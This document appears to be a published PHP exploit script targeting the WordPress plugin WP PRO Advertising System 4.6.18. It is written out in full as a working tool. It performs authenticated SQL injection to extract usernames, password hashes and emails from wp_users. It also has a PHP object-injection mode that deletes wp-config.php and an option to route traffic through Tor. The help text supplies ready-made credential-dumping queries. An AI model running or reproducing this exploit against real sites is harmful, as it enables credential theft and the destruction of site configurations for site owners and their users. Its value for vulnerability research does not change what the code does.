WordPress Plugin WP PRO Advertising System 4.6.18 - SQL Injection

<?php
/**
 * Exploit Titie: WP PRO Advertising System - All In One Ad Manager  Exploit
 * Google Dork:
 * Exploit Author: wp0Day.com <contact@wp0day.com>
 * Vendor Homepage: http://wordpress-advertising.com/
 * Software Link: http://codecanyon.net/item/wp-pro-advertising-system-all-in-one-ad-manager/269693
 * Version: 4.6.18
 * Tested on: Debian 8, PHP 5.6.17-3
 * Type: SQLi, Unserialize, File Delete.
 * Time line: Found [06-May-2016], Vendor notified [06-May-2016], Vendor fixed: [???], [RD:1464914936]
 */


require_once('curl.php');
//OR
//include('https://raw.githubusercontent.com/svyatov/CurlWrapper/master/CurlWrapper.php');
$curl = new CurlWrapper();


$options = getopt("t:m:f:c:u:p:s:",array('tor:'));
print_r($options);
$options = validateInput($options);

if (!$options){
    showHelp();
}

if ($options['tor'] === true)
{
    echo " ### USING TOR ###\n";
    echo "Setting TOR Proxy...\n";
    $curl->addOption(CURLOPT_PROXY,"http://127.0.0.1:9150/");
    $curl->addOption(CURLOPT_PROXYTYPE,7);
    echo "Checking IPv4 Address\n";
    $curl->get('https://dynamicdns.park-your-domain.com/getip');
    echo "Got IP : ".$curl->getResponse()."\n";
    echo "Are you sure you want to do this?\nType 'wololo' to continue: ";
    $answer = fgets(fopen ("php://stdin","r"));
    if(trim($answer) != 'wololo'){
        die("Aborting!\n");
    }
    echo "OK...\n";
}

class CPDF_Adapter{


    private  $_image_cache;
    public function set_file($file){
        $this->_image_cache = array($file);
    }
}



function logIn(){
    global $curl, $options;
    file_put_contents('cookies.txt',"\n");
    $curl->setCookieFile('cookies.txt');
    $curl->get($options['t']);
    $data = array('log'=>$options['u'], 'pwd'=>$options['p'], 'redirect_to'=>$options['t'], 'wp-submit'=>'Log In');
    $curl->post($options['t'].'/wp-login.php', $data);
    $status =  $curl->getTransferInfo('http_code');
    if ($status !== 302){
        echo "Login probably failed, aborting...\n";
        echo "Login response saved to login.html.\n";
        die();
    }
    file_put_contents('login.html',$curl->getResponse());


}



function exploit(){
    global $curl, $options;

    if ($options['m'] == 'd'){
        echo "Delete mode\n";
        $pay_load_obj = new CPDF_Adapter();
        $pay_load_obj->set_file('../../../../../../wp-config.php', '../../../../../../wp-config.php' );
        $pay_load = base64_encode(serialize(array($pay_load_obj)));
        $data = array('stats_pdf'=>'1', 'data'=>$pay_load);
        $curl->post($options['t'].'?'.http_build_query($data));
        $resp = $curl->getResponse();
        echo $resp;
    } else {
        echo "SQLi mode \n";
        echo "Trying a longin...\n";
        logIn();
        echo "Running SQL in Inject mode: ".$options['s']."\n";
        $pay_load = array('action'=>'load_stats', 'group'=>'1=1 UNION ALL SELECT ('.$options['s'].') LIMIT 1,1# ', 'group_id'=>'1', 'rid'=>1);
        $curl->post($options['t'].'/wp-admin/admin-ajax.php', $pay_load);
        $resp = $curl->getResponse();
        //Grab the output
        if (preg_match('~<div class="am_data">(.*?)(?:</div)~', $resp, $mat)){
           if (isset($mat[1])){
               echo "Response:\n".$mat[1]."\n";
               die("Done\n");
           }
        }
        echo "Failed getting SQLi response, response saved to resp.html\n";
        file_put_contents('resp.html', $resp);

    }




}



exploit();



function validateInput($options){

    if ( !isset($options['t']) || !filter_var($options['t'], FILTER_VALIDATE_URL) ){
        return false;
    }

    if (!preg_match('~/$~',$options['t'])){
        $options['t'] = $options['t'].'/';
    }
    if (!isset($options['m']) || !in_array($options['m'], array('d','s') ) ){
        return false;
    }
    if ($options['m'] == 's' && (!isset($options['u'])  || !isset($options['p']) || !isset($options['s'])) ){
        return false;
    }
    $options['tor'] = isset($options['tor']);

    return $options;
}


function showHelp(){
    global $argv;
    $help = <<<EOD

    WP PRO Advertising System - All In One Ad Manager Expoit Pack

Usage: php $argv[0] -t [TARGET URL] --tor [USE TOR?] -u [USER] -p [password] -m [MODE]  -s [SQL]

       *** In order to use the SQLi part you need an advertiser login **

       [TARGET_URL] http://localhost/wordpress/
       [MODE] d - Delete wp-config.php
              s - SQL Injection
       [TOR] Use tor network? (Connects to 127.0.0.1:9150)

       Note: In SQLi mode, you can't use ' or ", and you are in a subselect.
       To get all users and passwords you would do :
       SELECT concat(user_login,0x3a,user_pass,0x3a,user_email)  FROM wp_users LIMIT 1
       SELECT concat(user_login,0x3a,user_pass)  FROM wp_users LIMIT 1,1
       SELECT concat(user_login,0x3a,user_pass)  FROM wp_users LIMIT 2,1


Examples:
       php $argv[0] -t http://localhost/wordpress --tor=yes -u user -p password -m d // Try to delete some files
       php $argv[0] -t http://localhost/wordpress -u user -p password -m s -s 'SELECT concat(user_login,0x3a,user_pass,0x3a,user_email)  FROM wp_users LIMIT 1'

    Misc:
           CURL Wrapper by Leonid Svyatov <leonid@svyatov.ru>
           @link http://github.com/svyatov/CurlWrapper
           @license http://www.opensource.org/licenses/mit-license.html MIT License

EOD;
    echo $help."\n\n";
    die();
}